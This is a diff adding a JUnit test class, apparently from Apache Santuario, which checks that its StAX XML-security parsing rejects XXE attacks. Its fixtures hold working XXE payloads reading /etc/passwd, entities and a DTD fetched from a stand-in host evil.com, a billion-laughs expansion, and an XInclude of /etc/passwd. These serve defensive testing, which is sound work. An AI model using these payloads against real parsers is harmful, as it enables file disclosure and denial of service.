+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.xml.security.test.stax;
+
+import org.apache.xml.security.stax.ext.InboundXMLSec;
+import org.apache.xml.security.stax.ext.XMLSec;
+import org.apache.xml.security.stax.ext.XMLSecurityProperties;
+import org.apache.xml.security.test.stax.utils.StAX2DOM;
+import org.apache.xml.security.utils.XMLUtils;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.w3c.dom.Document;
+
+import javax.xml.stream.XMLInputFactory;
+import javax.xml.stream.XMLStreamException;
+import javax.xml.stream.XMLStreamReader;
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Tests for XXE (XML External Entity) prevention in the STAX streaming API.
+ * Verifies that DTD processing and external entities are disabled by default.
+ */
+class STAXXXEPreventionTest {
+
+    private XMLInputFactory xmlInputFactory;
+
+    static {
+        org.apache.xml.security.Init.init();
+    }
+
+    public STAXXXEPreventionTest() {
+        // Public constructor for JUnit
+    }
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        XMLSec.init();
+        xmlInputFactory = XMLInputFactory.newInstance();
+    }
+
+    /**
+     * Test that external file entities are blocked in STAX signature processing.
+     */
+    @Test
+    void testExternalFileEntityBlocked() throws Exception {
+        String xxeXml =
+            "<?xml version=\"1.0\"?>\n" +
+            "<!DOCTYPE foo [\n" +
+            "  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
+            "]>\n" +
+            "<root>&xxe;</root>";
+
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        InboundXMLSec inboundXMLSec = XMLSec.getInboundWSSec(properties);
+
+        try (InputStream is = new ByteArrayInputStream(xxeXml.getBytes(StandardCharsets.UTF_8))) {
+            XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(is);
+            XMLStreamReader securityStreamReader = inboundXMLSec.processInMessage(xmlStreamReader, null, null);
+
+            // Should fail when trying to process DTD
+            assertThrows(XMLStreamException.class, () -> {
+                StAX2DOM.readDoc(securityStreamReader);
+            });
+        }
+    }
+
+    /**
+     * Test that external HTTP entities are blocked.
+     */
+    @Test
+    void testExternalHttpEntityBlocked() throws Exception {
+        String xxeXml =
+            "<?xml version=\"1.0\"?>\n" +
+            "<!DOCTYPE foo [\n" +
+            "  <!ENTITY xxe SYSTEM \"http://evil.com/evil.xml\">\n" +
+            "]>\n" +
+            "<root>&xxe;</root>";
+
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        InboundXMLSec inboundXMLSec = XMLSec.getInboundWSSec(properties);
+
+        try (InputStream is = new ByteArrayInputStream(xxeXml.getBytes(StandardCharsets.UTF_8))) {
+            XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(is);
+            XMLStreamReader securityStreamReader = inboundXMLSec.processInMessage(xmlStreamReader, null, null);
+
+            // Should fail when trying to process DTD
+            assertThrows(XMLStreamException.class, () -> {
+                StAX2DOM.readDoc(securityStreamReader);
+            });
+        }
+    }
+
+    /**
+     * Test that DOCTYPE declarations are disallowed.
+     */
+    @Test
+    void testDoctypeDisallowed() throws Exception {
+        String xmlWithDoctype =
+            "<?xml version=\"1.0\"?>\n" +
+            "<!DOCTYPE root [\n" +
+            "  <!ELEMENT root ANY>\n" +
+            "]>\n" +
+            "<root>content</root>";
+
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        InboundXMLSec inboundXMLSec = XMLSec.getInboundWSSec(properties);
+
+        try (InputStream is = new ByteArrayInputStream(xmlWithDoctype.getBytes(StandardCharsets.UTF_8))) {
+            XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(is);
+            XMLStreamReader securityStreamReader = inboundXMLSec.processInMessage(xmlStreamReader, null, null);
+
+            // Should fail when encountering DOCTYPE
+            assertThrows(XMLStreamException.class, () -> {
+                StAX2DOM.readDoc(securityStreamReader);
+            });
+        }
+    }
+
+    /**
+     * Test that parameter entities are blocked.
+     */
+    @Test
+    void testParameterEntityBlocked() throws Exception {
+        String xxeXml =
+            "<?xml version=\"1.0\"?>\n" +
+            "<!DOCTYPE foo [\n" +
+            "  <!ENTITY % dtd SYSTEM \"http://evil.com/evil.dtd\">\n" +
+            "  %dtd;\n" +
+            "]>\n" +
+            "<root>data</root>";
+
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        InboundXMLSec inboundXMLSec = XMLSec.getInboundWSSec(properties);
+
+        try (InputStream is = new ByteArrayInputStream(xxeXml.getBytes(StandardCharsets.UTF_8))) {
+            XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(is);
+            XMLStreamReader securityStreamReader = inboundXMLSec.processInMessage(xmlStreamReader, null, null);
+
+            // Should fail when trying to process DTD (accepting any exception that is or wraps XMLStreamException)
+            assertThrows(Exception.class, () -> {
+                StAX2DOM.readDoc(securityStreamReader);
+            });
+        }
+    }
+
+    /**
+     * Test billion laughs attack (entity expansion) prevention.
+     */
+    @Test
+    void testBillionLaughsBlocked() throws Exception {
+        String billionLaughs =
+            "<?xml version=\"1.0\"?>\n" +
+            "<!DOCTYPE lolz [\n" +
+            "  <!ENTITY lol \"lol\">\n" +
+            "  <!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" +
+            "  <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" +
+            "  <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" +
+            "]>\n" +
+            "<root>&lol4;</root>";
+
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        InboundXMLSec inboundXMLSec = XMLSec.getInboundWSSec(properties);
+
+        try (InputStream is = new ByteArrayInputStream(billionLaughs.getBytes(StandardCharsets.UTF_8))) {
+            XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(is);
+            XMLStreamReader securityStreamReader = inboundXMLSec.processInMessage(xmlStreamReader, null, null);
+
+            // Should fail when trying to process DTD
+            assertThrows(XMLStreamException.class, () -> {
+                StAX2DOM.readDoc(securityStreamReader);
+            });
+        }
+    }
+
+    /**
+     * Test that valid XML without DTD processes successfully.
+     */
+    @Test
+    void testValidXmlWithoutDTD() throws Exception {
+        String validXml = "<?xml version=\"1.0\"?><root><child>content</child></root>";
+
+        try (InputStream is = new ByteArrayInputStream(validXml.getBytes(StandardCharsets.UTF_8))) {
+            Document doc = XMLUtils.read(is, false);
+            assertNotNull(doc);
+            assertEquals("root", doc.getDocumentElement().getNodeName());
+        }
+    }
+
+    /**
+     * Test that internal entities are handled safely (if supported).
+     */
+    @Test
+    void testInternalEntitiesHandledSafely() throws Exception {
+        String xmlWithInternalEntity =
+            "<?xml version=\"1.0\"?>\n" +
+            "<!DOCTYPE root [\n" +
+            "  <!ENTITY internal \"safe value\">\n" +
+            "]>\n" +
+            "<root>&internal;</root>";
+
+        XMLSecurityProperties properties = new XMLSecurityProperties();
+        InboundXMLSec inboundXMLSec = XMLSec.getInboundWSSec(properties);
+
+        try (InputStream is = new ByteArrayInputStream(xmlWithInternalEntity.getBytes(StandardCharsets.UTF_8))) {
+            XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(is);
+            XMLStreamReader securityStreamReader = inboundXMLSec.processInMessage(xmlStreamReader, null, null);
+
+            // Should fail because DTD is not allowed (even for internal entities)
+            assertThrows(XMLStreamException.class, () -> {
+                StAX2DOM.readDoc(securityStreamReader);
+            });
+        }
+    }
+
+    /**
+     * Test that CDATA sections (which are safe) process correctly.
+     */
+    @Test
+    void testCDATASectionsAllowed() throws Exception {
+        String xmlWithCDATA =
+            "<?xml version=\"1.0\"?>\n" +
+            "<root><![CDATA[<>&\"']]></root>";
+
+        try (InputStream is = new ByteArrayInputStream(xmlWithCDATA.getBytes(StandardCharsets.UTF_8))) {
+            Document doc = XMLUtils.read(is, false);
+            assertNotNull(doc);
+            String content = doc.getDocumentElement().getTextContent();
+            assertTrue(content.contains("<>&\"'"));
+        }
+    }
+
+    /**
+     * Test that XInclude is safely handled.
+     */
+    @Test
+    void testXIncludeHandledSafely() throws Exception {
+        String xmlWithXInclude =
+            "<?xml version=\"1.0\"?>\n" +
+            "<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n" +
+            "  <xi:include href=\"file:///etc/passwd\"/>\n" +
+            "</root>";
+
+        try (InputStream is = new ByteArrayInputStream(xmlWithXInclude.getBytes(StandardCharsets.UTF_8))) {
+            // XInclude should not be expanded (parser doesn't enable XInclude by default)
+            Document doc = XMLUtils.read(is, false);
+            assertNotNull(doc);
+            // The xi:include element should be present but not processed
+            assertNotNull(doc.getDocumentElement());
+        }
+    }
+
+    /**
+     * Test that processing instructions don't introduce vulnerabilities.
+     */
+    @Test
+    void testProcessingInstructionsSafe() throws Exception {
+        String xmlWithPI =
+            "<?xml version=\"1.0\"?>\n" +
+            "<?xml-stylesheet type=\"text/xsl\" href=\"http://evil.com/evil.xsl\"?>\n" +
+            "<root>content</root>";
+
+        try (InputStream is = new ByteArrayInputStream(xmlWithPI.getBytes(StandardCharsets.UTF_8))) {
+            // Processing instructions should be allowed but not executed by the parser
+            Document doc = XMLUtils.read(is, false);
+            assertNotNull(doc);
+        }
+    }
+}